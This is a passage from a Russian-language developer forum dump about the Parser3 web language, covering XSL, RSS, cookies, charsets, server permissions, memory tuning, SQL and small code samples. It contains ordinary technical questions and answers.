есть, например, меню навигации, тоже в xml, которое без всяких проблем вставляется в совершенно любое место внутри стартовой структуры, есть хsl шаблон, который трансформирует все это в xhtml, но стоит маленький вопрос: как динамически изменять в шаблоне ширину ячейки строки меню и убирать ссылку на активный пункт меню..."
"59564","[quote]как динамически изменять в шаблоне ширину ячейки строки меню[/quote]\
\
донт ундерстанд йа.\
вы о какой динамике? извините...\
\
а ссылку не ставить совсем просто: у вас ведь в выходном xml отмечается $request:uri и uri/id текущей страницы, так? ну вот и сравнивайте их наздоровье :)"
"59565","1. Как объекты помечаются как глобальные?\
2. В каком виде попадает в xml список языков текущего сайта?\
\
Спасибо :-)"
"59566","ячеек может быть 2, а может быть 10, об изменении их ширины в зависимости от количества я и веду речь...\
\
спасибо, я, кажется, понял где был неправ, и вы мне в этом существенно помогли:)"
"59567","1. Не знаю как это реализовано у Миши, но я бы сделал (учитывая что такой объект для отдельного сайта один) через site.global_object_id.\
Или через тип объекта object_type (добавил новый тип, напр. global - скорее всего фиктивный) - если таких объектов может быть для одного сайта несколько. В этом случае можно будет визуально в админе разграничить общую информацию.\
\
2. Как кому удобнее, например так:\
[code]\
<lang-list>\
   <lang id=\"1\" abbr=\"ru\" href=\"/\" selected=\"selected\" charset=\"windows-1251\" /> \
   <lang id=\"2\" abbr=\"en\" href=\"/en/\" charset=\"windows-1251\" />\
   <lang id=\"3\" abbr=\"es\" href=\"/es/\" charset=\"utf-8\" /> \
</lang-list>\
[/code]"
"59568","Пока не могу разделить восторг.\
Ибо в ПХП мог бы решить проблему, а с Парсером, как с любой новинкой  спотыкаюсь :)\
Если бы не требование заказчика и не собственный интерес -- фиг бывзялся."
"59569","не знаю, что за задачи стоят перед вами (надеюсь вы знаете), но думаю их способен решить xsl в одиночку... смотрите в сторону XPath  \
\
ЗЫ:\
хозяин конечно барин, но лучше работать по схеме \"работает -> пробуем улучшить\", а не как вы: \"не работает -> пробуем все запутать\"... без обид :)"
"59571","вообще не понимаю в этом, но нужно сделать динамически выдаваемый лист RSS.\
\
Так вот, не пойму с какой стороны подойти вообще:\
если я в .htaccess пишу AddHandler parsed-html html, xml\
что файлы XML вообще перестают открываться\
\
а RSS можно только в файлах такого типа выдавать?\
\
или я вообще не тем путем иду? :)"
"59572","[code]RewriteEngine On\
RewriteRule ^rss\\.xml$ rss.html[/code]\
\
И не забудьте в rss.html добавить\
\
[code]$response:content-type[\
	$.value[text/xml]\
	$.charset[$response:charset]\
][/code]"
"59573","[code]\
<document>\
	<system>\
		...\
		<navigation>\
			...\
			<lang-versions>\
				<lang lang-id=\"1\" href=\"?lang=ru\">ru</lang>\
			</lang-versions>\
		</navigation>\
	</system>\
	<body>\
		...\
	</body>\
</document>\
[/code]"
"59574","будь оно хоть [b]/abcderfgh/qwerty.asdf[/b]\
\
Главное, чтобы content-type правильный отдавался и http://feedvalidator.org не ругался."
"59575","Если пользователь разрешил браузеру принимать только сессионные куки, то что будет происходить с долговременными?\
Они будут отклоняться сразу, или удаляться по окончании сессии (как сессионные)?"
"59576","Прошу прощения за глупый вопрос, но что должно быть вместо \"чистим\"?\
Понятно что перебор ключей, но что с ними делать при переборе? \
Если тело foreach будет пустым, устаревшие записи почистятся?"
"59577","[quot]\
Если тело foreach будет пустым, устаревшие записи почистятся?\
[/quot]\
\
да"
"59579","1. выбирается тип == глабольный объект\
2. а какая разница? можно выдать в любом виде, главное чтобы тот, кто пишет xsl смог понять его без дополнительных объяснений. какой точно xml - я не помню (да и меняется он иногда), но в общем близко к тому, что написал Denis P. и очень далеко от того, что написал Wonder (языкам нефиг делать в <navigation/> + '>ru<' мы не пишем, а пишем '>По руссски<', '>In English<' однако т.к. эти буковки формируются на основании того, что введено в теле какого-то там дополнительного \"глобального блока\", то выдать достаточно @href и @abbr, остальное разрулит xml)"
"59580","Такая проблема: использую Parser на Apache 2.0. и захотелось перевести сайт на несколько языков. При использовании других кодировок, например ISO-8859-1, Apache все равно в HTTP заголовках выводит Windows-1251.\
Что с этим можно сделать?"
"59581","с академической точки зрения это решение безусловно красиво, но с практической - ну его нафиг.\
\
на web-е мы работаем максимум - с MB (ну... если вспомнить про torrent-ы, то с ГБ), это означает что для того, чтобы понять какие буковки писать нужно сделать 2 if-а (^if($iSize < 1024){байты}{^if($iSize < 1048576){КБ}{МБ}}). тут предлагается заменить эти 2 if-а на вычисление двух логарифмов + деление.\
\
в общем на написанном быстренько тесте метод с логарифмами работает в ~2 раза дольше и жрет в ~2 раза больше памяти (не сильно помогаем и посчитанный лишь единожды ^math:log(1024)).\
\
:)\
\
[code]\
@main[]\
$t[^table::create{size\
1\
100\
1000\
10000\
100000\
1000000\
10000000}]\
\
$dLog1024(^math:log(1024))\
\
<hr />\
^methodLog[$t]\
<hr />\
^methodEq[$t]\
\
^do[Log]{^methodLog[$t]}\
^do[Eqs]{^methodEq[$t]}\
\
\
\
@do[sTitle;jCode][i;v;z]\
<hr />\
<h1>$sTitle</h1>\
^memory:compact[]\
^Erusage:measure{$z[^for[i](0;1000){$jCode}]}[v]\
\
time: $v.time<br />\
KB: $v.memory_kb<br />\
Bl: $v.memory_block</br />\
\
\
\
@methodLog[t][v]\
$result[^t.menu{^printFileSizeLog[$t.size]}[, ]]\
\
\
\
@methodEq[t][v]\
$result[^t.menu{^printFileSizeEq[$t.size]}[, ]]\
\
\
\
@printFileSizeLog[iSize;hParam][result]\
$result[^switch(^math:floor(^math:log($iSize)/$dLog1024)){\
	^case(0){Б}\
	^case(1){КБ}\
	^case(2){МБ}\
}]\
\
\
@printFileSizeEq[iSize;hParam][result]\
$result[^if($iSize < 1024){Б}{^if($iSize < 1048576){КБ}{МБ}}]\
\
\
[/code]"
"59582","Вы в коде указываете $response:charset[ISO], а клиент получает всё равно ту кодировку, что прописана в главном auto.p?\
\
Для чистоты эксперимента попробуйте на секундочку поменять кодировку в главном auto.p и посмотреть, не продолжит ли Apache выдавать Win-1251.\
\
ПыСы - ну и кэш не забудьте почистить..."
"59583","Как определить тип и версию браузера ясно: через $env:HTTP_USER_AGENT.\
Но появился вопрос, как с его помощью Parser'а можно определить, включены ли рисунки в браузере пользователя (т.е. как проверить, загрузился рисунок или нет). И можно ли это сделать Парсером вообще? Ведь насколько я понял, это серверный язык...\
\
К помощи форумчан обращаюсь впервые, так что не обессутьте :)\
\
\
P.S.  и еще, извиняюсь за оффтоп, наверняка банальный для многих вопрос собственно по JavaScript... почему не работает конструкция\
\
[i]\
<head>\
...\
<script type=\"text/javascript\">\
function change(){\
 var gVar=1;\
}\
\
function check(){\
if (gVar==1){\
document.write(\"<link rel='stylesheet' href='/1.css' type='text/css'>\");}\
else {\
document.write(\"<link rel='stylesheet' href='/2.css' type='text/css'>\");\
}\
\
}\
</script>\
</head>[/i]\
\
\
где [i]<body onload=\"check()\">... <img src=\"/pic.gif\" onload=\"change()\"> ... </body>[/i] ?\
\
\
Или здесь вместо конструкции \
\
[i]document.write(\"<link rel='stylesheet' href='/1.css' type='text/css'>\");[/i]\
  \
надо использовать что-то вроде \
\
[i]var st = document.createElement(\"link\");\
st.setAttribute(\"rel\",\"stylesheet\");\
st.setAttribute(\"href\",\"1.css\");\
document.body.appendChild(st); [/i]\
? хотя это не помогло...\
\
Спасибо!"
"59584","т.к. видно, что их автор не понимает что такое cookie и как происходит их передача меджу клиентом и сервером.\
\
[quot]\
Примечание: записанные значения доступны сразу (вне зависимости от того, произошла ли запись на стороне клиента).\
[/quot]\
\
сначала выполняется серверный код, потом он передается в броузер, и лишь потом броузер на основании своих параметров решает - принимать эти куки или нет. т.е. _произошла_ в прошедшем времени - совсем не в кассу. употребление тут будущего времени возможно, но в этом случае есть ощущение, что прочитавший это новичек лишь запутается.\
\
[quot]\
Примечание: при попытке обратиться к только что записанному значению его считывания в действительности не происходит (значение доступно вне зависимости от того, произошла ли запись на стороне клиента).\
[/quot]\
\
эта формулировка ещё запущщенее."
"59586","Спасибо большое, действительно, просто стереть задание $response:charset в головном auto.p оказалось достаточно!"
"59587","и можете потом тут рассказать ;)"
"59588","в тему:\
[code]\
String::C Charset::transcode(const String::C src,\
	const Charset& source_charset, \
	const Charset& dest_charset) {\
	if(!src.length)\
		return String::C(\"\", 0);\
\
	switch((source_charset.isUTF8()?0x10:0x00)|(dest_charset.isUTF8()?0x01:0x00)) {\
		default: // 0x00\
			return source_charset.transcodeToCharset(src, dest_charset);\
		case 0x01:\
			return source_charset.transcodeToUTF8(src);\
		case 0x10:\
			return dest_charset.transcodeFromUTF8(src);\
		case 0x11:\
			return src;\
	}\
}\
[/code]\
\
http://www.parser.ru/docs/src/pa__charset_8C-source.htm"
"59589","page1.html:\
\
[code]$response:refresh[\
   $.value(2)\
   $.url[/page2.html]\
]\
\
<html><body>\
<img src=\"/test_gif.html?ip=$env:REMOTE_ADDR&timestamp=...&signature=...\" />\
</body></html>[/code]\
\
А на /page2.html проверяете, дёргал ли посетитель с этого IP c этим $env:USER_AGENT две секунды назад /test_gif.html\
\
В /test_gif.html производите запись в hashfile, в test2.html - чтение оттуда."
"59590","[code]$a(^ipToInt[192.168.1.101])$b(^ipToInt[255.255.255.0])\
$c($a&$b)\
$c[/code]\
этот код выводит -2147483648\
хотя должен вот такое выводить 3232235776\
вопрос почему?"
"59591","http://www.parser.ru/docs/lang/intdoubleclasses.htm\
[quot]\
для int	от -2147483648	до 2147483647\
[/quot]\
метод ipToInt возвращает отформатированный в виде строки double.\
в выражении $c($a&$b) происходит преобразование $a и $b в int (предполагаю, код не смотрел), значение $b не вписывается в диапазон int и усекается :("
"59592","onload=\"change()\" устанавливвет локальную переменную gVar=1 и все :)\
\
лучше сделать вот так:\
<img src=\"/pic.gif\" onload=\"check(1)\">\
\
и соответственно функция:\
[code]\
function check(gVar){\
	if (!gVar){\
		document.write(\"<link rel='stylesheet' href='/2.css' type='text/css'>\"); /*тут пойдет по старому*/\
	} else {\
		/*а тут надо что-то ВРОДЕ ТОГО :)*/\
	}\
}\
[/code]"
"59593","есть такой код:\
[code]\
$u(1==1 && 2==2)\
$table2[^table.select($u)]\
[/code]\
\
он работает. Если переделать вот так:\
\
[code]\
$u(^for[x](1;2){$x==$x}[ && ])\
$table2[^table.select($u)]\
[/code]\
\
он не работает - [b]invalid number (double)[/b] на первой линии\
если у [b]$u[/b] скобки поставить квадратные - [b]invalid number (double)[/b] на второй линии.\
\
Можно ли это как-нибудь обойти?"
"59598","Apache запускается от имени nobody:nogroup. Parser, собранный без safe mode, соответственно тоже.\
\
Если положить в веб-папку index.html с простыми выражениями типа [code]^eval(2*2)[/code] то оно работает.\
\
Когда появляется auto.p то начинается ругань, что мол доступ к auto.p запрещён.\
\
И ещё не пишется parser.log, совсем.\
\
Это может быть из-за Apache'ного nobody:nogroup?\
\
В логах Apache тоже - доступ мол запрещён :( и всё.\
\
Прошу прощения за сумбур."
"59599","кто owner файлов auto.p и parser3.log?\
какие разрешения стоят на оба этих файла (в т.ч. всякие sticky bits и т.п.)?"
"59602","А где-то можно уже достать новую версию auth.p, что бы он нормально работал с новыми Sql.p, MySql.p (lastInsertId вместо last_insert_id, назавания переменных и методов без подчеркиваний)?\
Это наверно уже Auth.p, а не auth.p.\
\
Спасибо."
"59603","Раз так, то может кто-нибудь ответит на мой вопрос? ;)\
В первый раз с куками связаться решил — раньше избегал — вот и разбираюсь теперь с элементарными вещами."
"59604","ну да... owner я, причем почему-то givi:wheel а права по умолчанию 755 на исполняемые и папки, и 644 (вроде бы) на обычные файлы\
\
то-есть таки из-за этого... вроде как можно при определённых условиях \"запустить Апача под собой\", но у меня это не получилось, а сильно модифицировать его неприемлемо...\
\
а липкие эти, чердынь их, могут помочь?"
"59607","это именно настройками бразуера определяется как будут воприниматься пришедшие от сервера cookie..."
"59608","Потому и спросил — может есть на этот счёт наблюдения коллективного разума.\
\
Ладно, на нет и суда нет — постараюсь это вообще обойти (на всякий случай). Потому что всё не перепробуешь."
"59609","Приветствую всех\
Установил у себя весь набор(апач...)\
тест проходит но когда пытаюсь передать информацию с формы в скрипт выдает вот такую ошибку\
Notice: Undefined index: aaa in f:\\apache_swissknife\\сайты\\localhost03\\html\\processorder.php on line 19\
на другом апач работает (стоит на другой машине)\
т есть не передает в скрипт значение формы\
чтобы это могло быть?"
"59610","Подразумевается, что он заменит CSS с одного на другой в случае, если рисунки в браузере отключены. Т.е при загрузке какого-нибудь рисунка, например первого, через onload запуститься функция check() [i](<img src=\"/pic.gif\" onload=\"check(1)\">)[/i], которая и включит \"рисуночный\"CSS и наоборот... \
\
Кстати, попробовал организовать Javascript так,как вы посоветовали, но результат не впечатлил, все-равно не заработало, хотя все сделано вроде правильно.\
\
[i]<head>\
...\
<script type=\"text/javascript\">\
function check(gVar){\
var st = document.createElement(\"link\");\
st.setAttribute(\"rel\",\"stylesheet\");\
\
	if (!gVar) {		\
		st.setAttribute(\"href\",\"/off_pic.css\");\
		document.body.appendChild(st);}\
	else {\
		st.setAttribute(\"href\",\"/on_pic.css\");\
		document.body.appendChild(st);}\
}\
</head>[/i]\
\
в коде не хочет работать часть, которая находиться в [i]else[/i], т.е. получается упирается onload=\"check(1)\"...\
\
P.S. Вообще, с Javascript особо не дружу, лишний раз стараюсь избегать его использования, но почему не работает этот код хотел бы узнать.\
\
\
Отдельное спасибо Sanja v.2 за красивую идею с Парсером. Пара вопросов есть, но думаю сам дальше разберусь!"
"59611","у вас проблемы со скриптом на PHP, а это не тема форума.\
\
Помимо этого, не видя кода, никто не скажет, на какой такой index ругается PHP.\
\
Попробуйте обратиться в любой форум по PHP, не забыв привести кусок кода, на котором происходит ошибка - вам помогут."
"59612","Как можно узнать лимит памяти на процесс, который выставлен в системе (FreeBSD, Linux)?"
"59613","... дело было в правах - файлы из архива копировались с правами 640 и когда сменил на 644 оно пошло, теперь другая напасть:\
[code]\
Unhandled Exception (Debug)\
\
can't open the module\
\
/usr/home/givi/lib/libparser3mysql.so\
\
/usr/home/givi/public_html/classes/sql.p(76)\
\
connect /usr/home/givi/public_html/classes/sql.p(76)\
server /usr/home/givi/public_html/auto.p(48)\
try /usr/home/givi/public_html/auto.p(47)\
[/code]\
\
libparser3mysql.so собирал сам, 5.4-RELEASE FreeBSD 5.4-RELEASE #0 i386. Пробовал все выложенные тоже. Для четвёрки выдаёт 500. И parser.log не пишет :("
"59615","из-под нужного пользователя."
"59617","Всё то-же.\
\
И ещё выяснилось, что создавать файлы Parser не может (понятно почему), то есть что-то надо делать с правами :((\
\
Блин, вот задница. Со всеми рутовыми правами не могу поднять Parser! Наверное придётся отказываться от заказа или пересаживать их на собственный хостинг, потому как пересобирать Apache на котором вертится четыре или больше чужих сайтов совсем не улыбается :((("
"59618","[code]\
$ ulimit -a\
cpu time               (seconds, -t)  unlimited\
file size           (512-blocks, -f)  unlimited\
data seg size           (kbytes, -d)  524288\
stack size              (kbytes, -s)  65536\
core file size      (512-blocks, -c)  unlimited\
max memory size         (kbytes, -m)  unlimited\
locked memory           (kbytes, -l)  unlimited\
max user processes              (-u)  3632\
open files                      (-n)  7264\
virtual mem size        (kbytes, -v)  unlimited\
sbsize                   (bytes, -b)  unlimited\
[/code]"
"59619","На своем сервере или хостинге?\
Просто стоит проблема выбора хостинга с большим лимитом - парсер прожорливый, блин, как банда разозленных крокодилов."
"59620","О, это не счастье. Это я печально иронизирую. Мне заказчик сделал учётную запись на своём сервере где крутятся ещё около десяти сайтов. И вот такие там \"ограничения\". А на всякие просьбы о настройках просто дал рутовый пароль.\
\
Так и не получилось на данный момент нормально настроить. Очень странно машина  сконфигурирована, или это просто я не понимаю BSD-специфики, а что-то сильно менять страшно, вдруг завалю нафиг всё, потом не отмыццо :("
"59621","[quot]\
парсер прожорливый, блин, как банда разозленных крокодилов.\
[/quot]\
\
- всё в мире относительно. \"прожорливый\" == ??? наш достаточно тяжелый imp1 с кучей редкоиспользуемого но тем не менее присутствующего кода с xml+xml на наших хостингах имеет такие результаты (примерно. это при генерации страницы, а не при отдаче из кеша. что означает какая цифра - смотреть в Erusage.p):\
[2007-03-28 13:42:49]	0.6591	0.9651	15312	[9080/2396]	213.152.135.132	/\
\
- прожорливость сильно зависит от того, как написать код. вы попробуйте найти где у вас расходуются рессурсы, возможно вы copy/paste-ите древний код, который очень неоптимален.\
\
- да, он прожорливее чем многие другие языки, но... платить даже $50/мес за хостинг - не так много по сравнению с суммой, которая уйдет на зарплату программеру, реализующему сайт с подобной функциональностью например на C++ %-)\
\
=> высказывание считаю необоснованным, следующие подобные заявления буду удалять."
"59623","[quote]парсер прожорливый, блин, как банда разозленных крокодилов.[/quote]\
\
Судя по тому как реализованы некоторые вещи в Тюне (например компиляцию в движке всех классов для сайта) - это неудивительно :)"
"59625","1) Во время сортировки таблицы, строки с ячейками с одинаковыми значениями сохраняют порядок следования или могут поменяться местами?\
[quote][i]Пример:[/i]\
[code]\
id	numb\
5	1\
5	2\
5	3[/code]\
после [code]^таблица.sort($таблица.id)[/code] возможно, например, такое\
[code]id	numb\
5	3\
5	1\
5	2[/code] \
?[/quote]2) какой алгоритм используется для сортировки таблиц?\
3) ^таблица.select() сохраняет порядок строк?\
4) Возможно выполнение сразу нескольких запросов?\
	[code]\
	^void:sql{\
		DELETE ... ^;\
		INSERT ... ^;\
	}[/code]"
"59626","[2007-03-28 21:55:10.407563] 212.*.*.* - log> clean(0.026236)	read(0.006559)	memory(2660)	readCount()	writeCount()	peak()	3(/)"
"59631","1. сохраняют\
2. [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/include/pa_common.h?rev=HEAD&content-type=text/vnd.viewcvs-markup\"]qsort[/url] из stdlib\
3. сохраняют, я это использую (но не часто, т.к. парсерный .select у меня - операция довольно редкая)\
4. нет"
"59632","прошу прощения, в смысле?"
"59633","А, туплю %)))"
"59634","из форума я вычитал, что \"это самая обсосанная тема\" или ещё какая-то, но как его такой собрать не понятно и configure --help света не пролил :("
"59635","4) Вопрос вызван вот чем:\
я записываю данные в бд, и потом мне нужен id последней строки.\
Логично [code]\
	^MAIN:db.void{INSERT ...}\
	^MAIN:db.int{SELECT LAST_INSERT_ID()}[/code]\
Все хорошо. Но если с базой идут активные работы, то возникает вопрос, а не возможен ли случай, когда между этими командами другой пользователь запишет еще строку и я получу ошибочный id.\
Если возможен как этого избежать?\
\
(почему на мыло сообщения об ответах не приходят???)"
"59637","Понимаю, что скорее всего сюда уже никто не ответит, но тем не менее.\
Можно узнать, чем лично Вам не нравится система наименований классов со знаком подчёркивания?\
Чем $sNewsList лучше для Вас чем $s_News_List?\
\
Спрашиваю, потому что решил попробовать систему на своей шкуре так сказать, и столкнулся с тем, что ранее использовавшиейся много где копипэйст теперь не работает - приходится следить, чтобы везде где надо, были заглавные буквы (а в базе, например, таблица news и поля news_id, news_title и т.д.)"
"59638","Опечатался там вверху. Имелось в виду, конечно, \"Чем $sNewsList лучше для Вас чем $s_news_list?\""
"59639","[quot]Чем $sNewsList лучше для Вас чем $s_news_list?[/quot]\
на 2 символа длиннее, при этом читабельность не лучше.\
\
[quot]приходится следить, чтобы везде где надо, были заглавные буквы (а в базе, например, таблица news и поля news_id, news_title и т.д.)[/quot]\
\
совершенно необязательно перейти сразу и везде (хотя это удобнее).\
с запросами 'AS' спасает, у меня тоже в БД с подчеркиванием и без префиксов (не нужны они там, ибо есть типы столбцов)"
"59640","В доках я это прочитал. Я просто хотел уточнить до конца, что подразумевают рамки.\
Теперь все ясно.\
Спасибо.\
---------------------------------------------\
Так, а все-таки, почему мыло не приходит???"
"59641","например:\
[code]@run[][x;y]\
$x(0)\
$y(0)\
^run2[10]\
^$x=$x^; ^$y=$y\
\
@run2[count_]\
$x($x+10)\
$y($y+20)\
^if($count_>0){^run2[^eval($count_-1)]}[/code]\
В этом коде, если я хочу из первого метода @run[] вызвать второй - @run2[]. @run2[] - с рекурсией на себя... @run2[] изменяет  значения $x и $y. В данном случае, метод их изменить не может, так как у нас x и y - это локальные переменные вызывающего метода @run[].\
Если бы не было рекурсии я бы воспользовался $caller...\
Как сделать так, чтоб переменные были локальными для нескольких методов?\
Можно конечно запоминать глобальные переменные, записывая их в локальные, а потом в конце метода восстанавливать... Но может можно это делать по другому? более правильно?"
"59642","[code]\
добавляем запись\
\
^sleep(10)\
\
достаем last_insert_id и показываем\
[/code]\
\
и обращаемся из двух окон броузера\
\
P.S. не знаю, приду на работу - гляну логи"
"59643","Я знаю что форум по языку, и пост скорее всего удалят до того как я его успею дописать.\
Но все же.\
\
Может кому-то доводилось делать системы резервации для отеля?\
pls, поделитесь опытом.\
\
больше всего меня волнует вопрос о том как следить за тем как отель наполняется. \
\
моя версия:\
создать таблицу с полем \"дата\" куда будет сделано минимум 365 записей (по одной на каждый день) - \"res_date\". Сделать поле в котором будет отслеживаться кол-во резервация на этот день - \"res_num\", поле в котором будет хранится максимальное кол-во возможных резерваций на этот день - \"res_max\", ну и одно в котором хранить тип комнаты - \"room_type\".\
\
Что-то типа:\
id, res_date, res_num, res_max, room_type.\
\
Для того что бы определить есть ли свободные комнаты на определенный срок просто искать в БД:\
\
!  В очередной раз пересмотрел вопрос.\
!  и внес поправки...\
\
[code]\
$rooms[^MAIN:pSQL.table{\
...\
WHERE res_date >= $form:in_date AND res_date <= $form:out_date AND res_num = res_max\
# для более общего случая, когда поиск идет по всем комнатам\
GROUP BY room_type\
# ну отсортировать по res_num что бы max значение было первым.\
ORDER BY res_num DESC\
# как сортировать особого значения не имеет, можно поределить в \
# соответвии с обстановкой.\
}]\
\
^if(!$rooms){\
# резрвацию можно сделать, есть все типы комнат\
}{\
# проитись через все типы комнат (будет не больше 6) и \
# предложить сделать резервацию в свободые конаты. \
# Если кол-во строк в $rooms = кол-во типов комнат, \
# то мест нет совсем. попробуйте другие даты.\
}\
[/code]\
\
Рационален такой варинт или есть метод проще?"
"59644","Пару раз в день работает генерилка, отжирающая 150-200MB и 10-13 секунд.\
Переписывать ее дороже, чем платить за клевый хостинг.\
Хотя, конечно, переписываем."
"59645","Да так, одна маленькая базка недвижимости :)"
"59646","Предложи идею, давай обсудим."
"59649","А если сделать таблицу \"rooms\", в которой добавить поле \"status\"?\
\
То есть если комната забронирована, ставить статус \"1\", свободна - \"0\"."
"59650","1. в день Д часть комнат может оказаться не пригодной для использования (ремонт, прорвало канализацию, протекла крыша, загорелся холодильник).\
2. комнаты бывают разные, например если есть 5 комнат, из которых у 3-х есть \"вид на море\", и все, кто пытается бронировать хотят именно с видом на море.\
\
пункт 1 решается примерно как у вас, но для каждой даты храниться ещё и количество пригодных для заселения комнат. это поле - избыточно, оно должно пересчитываться при изменении пригодности комнаты в определенном диапазоне дат в административном интерфейсе. \
\
что делать с п.2 я на вскидку не подскажу, думать надо :)"
"59652","суть проблемы в следующем: загружаю картинку из gif-файла (88х31, белый фон). рисую, заливаю, пишу на ней, но при выводе через ^image.html[] она рисуется в первозданном виде, т.е. белый прямоугольник.\
при использовании метода $response:body[^image.gif[]] выводится картинка со всеми изменениями, но мне надо вставить картинку, скажем, в низ страницы."
"59653","Bluefish - это такой замечательный редактор.\
Нужно добавить эти строки в начало файла ~/.bluefish/highlighting\
[code]\
patterns: parser:SQL Keywords:1:\\\\b(SELECT|INSERT|REPLACE|UPDATE|DELETE|DROP|DISTINCT|GROUP BY|FROM|INTO|ON|AS|AND|NOT|OR|NULL|SET|VALUES|WHERE|ORDER BY|LIMIT|(LEFT|RIGHT|FULL) JOIN|ASC|DESC)\\\\b::2::#885588::2:0:\
patterns: parser:Consts:1:\\\\b[0-9]+\\\\b|true|false::2::#802020::0:0:\
patterns: parser:Method Call:1:\\\\^[a-zA-Z0-9\\:.]+::2::#008000::0:0:\
patterns: parser:Braces:1:[\\\\[{()}\\\\]]::2::::2:0:\
patterns: parser:Method:1:@[a-zA-Z0-9-_]+::2::#a00000::2:0:\
patterns: parser:Variable:1:\\\\$[a-zA-Z0-9_\\:.]+::2::#0000a0::0:0:\
patterns: parser:Comment single line:0:#.*?$::2::#808080::0:0:\
patterns: parser:html comments:0:<!--:-->:1::#808080::1:0:\
patterns: parser:html attributes contents:1:2::3:^html attributes$:#cc0000::0:0:\
patterns: parser:html attributes:1:((?\\:xml\\:)?[a-z][a-z-]*=)[ \\\\n\\\\t]*((?\\:\"[^\"]+\")|(?\\:'[^']+'))::2:^HTML$:#660099::0:0:\
patterns: parser:html tags:1:1:>:3:^HTML$:#000066::2:0:\
patterns: parser:HTML:1:<(/?[a-z][a-z0-9]*):>:1:::#e0e8e0:0:0:\
[/code]"
"59654","Подсвечивает не всё так здорово как хотелось бы.\
Может кто дополнит."
"59656","Кстати на счет обоснованный/необоснованный:\
\
Вот у меня есть \
^rusage{\
^table::sql{select траливали}\
}\
- жрет X памяти\
\
^rusage{\
^table::sql{select траливали}\
^memory:compact[]\
}\
- жрет 0.7X памяти\
\
Дело в \"траливали\" или в парсере?"
"59657","я об этом думал, может быть есть еще какая-нибудь возможность?"
"59658","вечная дилема: память или время...\
\
парсер сам занимается управлением памяти: но он не знает всех тонкостей кода поэтому не может сделать это лучше, чем человек. однако при этом освобождает нас от кучи операций по управлению ей.\
\
^memory:compact[] пытается освободить не используемую больше память, расходуя время.\
\
после каждой операции парсер не вызывает сам ^memory:compact[], т.к. на это будет тратиться время, а необходимость этого для него неочевидна, т.к. он - cgi приложение, доработает и освободит все рессурсы => зачем тратить время?\
\
в данном вместе для вас память важна. парсер предоставляет вам необходимые механизмы для того, чтобы попробовать освободить её. используйте их.\
\
P.S. приведенный вами тест не совсем корректен: вы забыли написать ^memory:compact[] перед вызовом rusage. т.е. в те полученные освобождением 0.3X могло войти что-то ещё, что было пропито выполненным ранее кодом."
"59659","Вам нужно создать show_picture.html, содержащий код манипуляций с картинкой и $response:body[^image.gif[]] в конце, а \"внизу нужной страницы\" вставлять <img src=\"show_picture.html\" />.\
\
Вы же не хотите скрестить ужа с ежом - вывести внутри HTML-страницы и HTML-код и бинарное содержимое Gif-картинки?"
"59660","спасибо, чего то подобного я и хотел!\
ужа с ежом скрестить, действительно, не получилось..."
"59661","Возможно разбить процесс генерации на несколько этапов под нужное количество памяти?\
Тоесть с рефреш страницы самой на себя с определенными параметрами?"
"59662","меня больше всего волнует нагрузка/скорость на MySQL сервер, так как в плане оптимальных запросов к MySQL я ноль.\
\
 \
Что касается ваших замечаний в п.1, то в силу то что комнаты бронируются еще и по телефону да с сам процесс бронирования в интернете не отражается в отельной прогармме в реальном времени, в интернете изначально доступно меньше комнат чем их есть на самом деле. Резервации будут вручныю переносится из интренета в программу, так хочет хозаяин.\
по п.2: поле \"room_type\" должно решить проблему. В админке будет задаваться сколько комнат какого типа доступно посетителям."
"59663","Не вариант.\
Пока понаставили memory:compact-ов - помогло\
Там надо всю логику менять"
"59664","Можно ли сделать регистронезависимую замену?\
что то типа \
[code]^table.replace[$repl][i][/code]\
а то если нужно поменять `шило` на `мыло` без учета регистра, то в $repl нужно забабахать все варианты (Шило, ШИЛО и пр..)\
\
Понятно, что можно регекспами, но ведь replace существенно быстрее?\
\
P.S. кстати, интересно, начем основан механизм replace, что он шустрее match-а? Все-равно ведь небось регулярные выражения используются?"
"59665","Как установить код популярной системы продажи ссылок на сайт? Там приведены примеры php кодов. Вставить их методом ^usePHP[], описанном нафоруме не получается. Как быть?"
"59668","Я даже четко не знаю, что должен делать этот код.\
Неужели не кто не пользуется sape.ru?"
"59669","[quote]т.к. видно, что их автор не понимает что такое cookie[/quote] \
Ну, Вы уж так прям сразу не обижайте…\
\
Ваши формулировки тоже не всегда вполне корректны по формальным признакам. В документации на данный момент написано следующее:\
[quote]Примечание: записанное значение сразу доступно для чтения.[/quote]\
На самом деле это значение\
а) Не является записанным (как вам прошедшее время?)\
б) Не будет прочитано.\
\
Я же не придираюсь к тому, что в вашей формулировке \"серверный код передаётся в браузер\" :)"
"59670","какие шаги были сделаны?\
пример кода?"
"59671","a) значение ЯВЛЯТСЯ записанным (в память, но не у посетителя)\
б) значение БУДЕТ прочитано (из памяти, куда его только что записали)\
\
Записать значение в куки посетителя прямо из скрипта - невозможно в принципе, потому что это происходит на сервере, а не на клиенте.\
И до следующего запроса со стороны клиента, невозможно определить записались они у него или нет. Это в принципе само по себе понятно. Если с этим пониманием прочитать прочитать эту фразу в доке, то она не вызывает нареканий. Другое дело, если это непонятно (принцип работы HTTP-запросов и cookies вместе с ними) или \"не совсем\" - тогда да, формулировка вводит в заблуждение."
"59672","Хотелось бы узнать поподробнее о подобной возможности, и есть ли у кого-нибудь наработки?\
Будет ли форум на Парсере обладать похожей функциональностью как и vBulletin?\
\
Извините, если подобный топик уже был... Нет времени просматривать все.\
\
Заранее, спасибо"
"59673","Какой функционал вложите в свою программу(форум) таким он и будет."
"59674","[quote]\
Index: pa_vdate.h\
===================================================================\
RCS file: /parser3project/parser3/src/types/pa_vdate.h,v\
retrieving revision 1.44\
diff -r1.44 pa_vdate.h\
34c34\
<               putenv(\"TZ\");\
---\
>               unsetenv(\"TZ\");\
[/quote]\
\
\
\
http://lists.freebsd.org/pipermail/freebsd-questions/2003-August/017131.html\
http://lists.kde.org/?l=kde-pim&m=103290642709555&w=2"
"59675","вы же не миллион строк будете заменять."
"59677","Беру погоду с гисметео. Например, отсюда: http://informer.gismeteo.ru/xml/27612_1.xml\
Название города там написано в виде: %CC%EE%F1%EA%E2%E0\
Как его перевести в нормальный вид?\
Спасибо!"
"59678","Я понимаю, что способности форума напрямую зависят от моих, но я надеялась, что у кого-то есть наработки..."
"59679","Если готовый продукт, то врядли вы его сдесь найдете...\
а почитать можно много чего, например:\
http://www.parser.ru/examples/trees/"
"59680","рекламные ссылки записываются в файл links.db\
и от туда считываются каким-то изощренным методом\
\
